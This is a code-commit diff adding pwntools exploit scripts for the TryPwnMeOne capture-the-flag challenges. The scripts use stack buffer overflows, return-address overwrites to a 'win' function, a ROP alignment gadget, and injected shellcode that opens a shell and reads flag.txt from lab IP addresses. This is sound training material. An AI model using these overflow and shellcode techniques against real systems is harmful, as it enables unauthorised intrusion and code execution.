initial commit

CTF/TryPwnMeOne/RandomMemories/.gdb_history

@@ -0,0 +1,2 @@
+vmmap
+vmmap

CTF/TryPwnMeOne/RandomMemories/test.py

@@ -0,0 +1,19 @@
+#!/usr/bin/env python3
+from pwn import *
+
+context.update(os="linux", arch="amd64", log_level="error")
+context.binary = binary = ELF("./random", checksec=False )
+
+r = process()
+gdb.attach(r)
+
+win_function_address = binary.symbols["win"]
+
+payload = b"A" * 256                        # offset to the RBP
+payload += b"B" * 8                         # overwrite the RBP
+payload += p64(win_function_address)        # address of the win function
+
+r.recvuntil(b"Return to where? : \n")
+r.sendline(payload)
+r.recvuntil(b"ok, let's go!\n\n")
+r.interactive()

CTF/TryPwnMeOne/TryExecMe/exploit.py

@@ -0,0 +1,20 @@
+#!/bin/python3
+
+from pwn import *
+
+context.update(os="linux", arch="amd64", log_level="error")
+r = remote("10.10.111.44", 9005)
+
+payload = asm(shellcraft.sh())
+
+r.recvuntil(b"Give me your shell, and I will execute it: \n")
+
+r.sendline(payload)
+
+r.recvuntil(b"Executing Spell...\n\n")
+
+r.sendline(b"cat flag.txt")
+
+print(r.recvline().decode())
+
+r.close()

CTF/TryPwnMeOne/TryOverFlowMe1/exploit.py

@@ -0,0 +1,16 @@
+#! /bin/python3
+
+from pwn import *
+
+context.log_level = 'error'
+
+r = remote("10.10.111.44", "9003")
+
+payload = b"A" * 44
+payload += p64(1)
+
+r.recvuntil(b"Please go ahead and leave a comment :\n")
+r.sendline(payload)
+
+print(r.recvline().decode())
+r.close()

CTF/TryPwnMeOne/TryOverFlowMe2/exploit.py

@@ -0,0 +1,13 @@
+#!/bin/python3
+
+from pwn import *
+
+r = remote("10.10.111.44", 9004)
+
+payload = b"A" * 76
+payload += p32(0x59595959)
+
+r.recvuntil(b"Please go ahead and leave a comment :\n")
+r.sendline(payload)
+print(r.recvline().decode())
+r.close()

CTF/TryPwnMeOne/TryRetMe/exploit.py

@@ -0,0 +1,23 @@
+from pwn import *
+
+context.update(os="linux", arch="amd64", log_level="error")
+context.binary = binary = ELF("./tryretme", checksec=False)
+
+r = remote("10.10.170.21", 9006)
+
+rop = ROP(binary)
+ret = rop.find_gadget(["ret"])[0]
+win_function_address = binary.symbols["win"]
+
+payload = b"A" * 256
+payload += b"B" * 8
+payload += p64(ret)
+payload += p64(win_function_address)
+
+r.recvuntil(b"Return to where? : \n")
+r.sendline(payload)
+r.recvuntil(b"ok, let's go!\n\n")
+
+r.sendline(b"cat flag.txt")
+print(r.recvline().decode())
+r.close()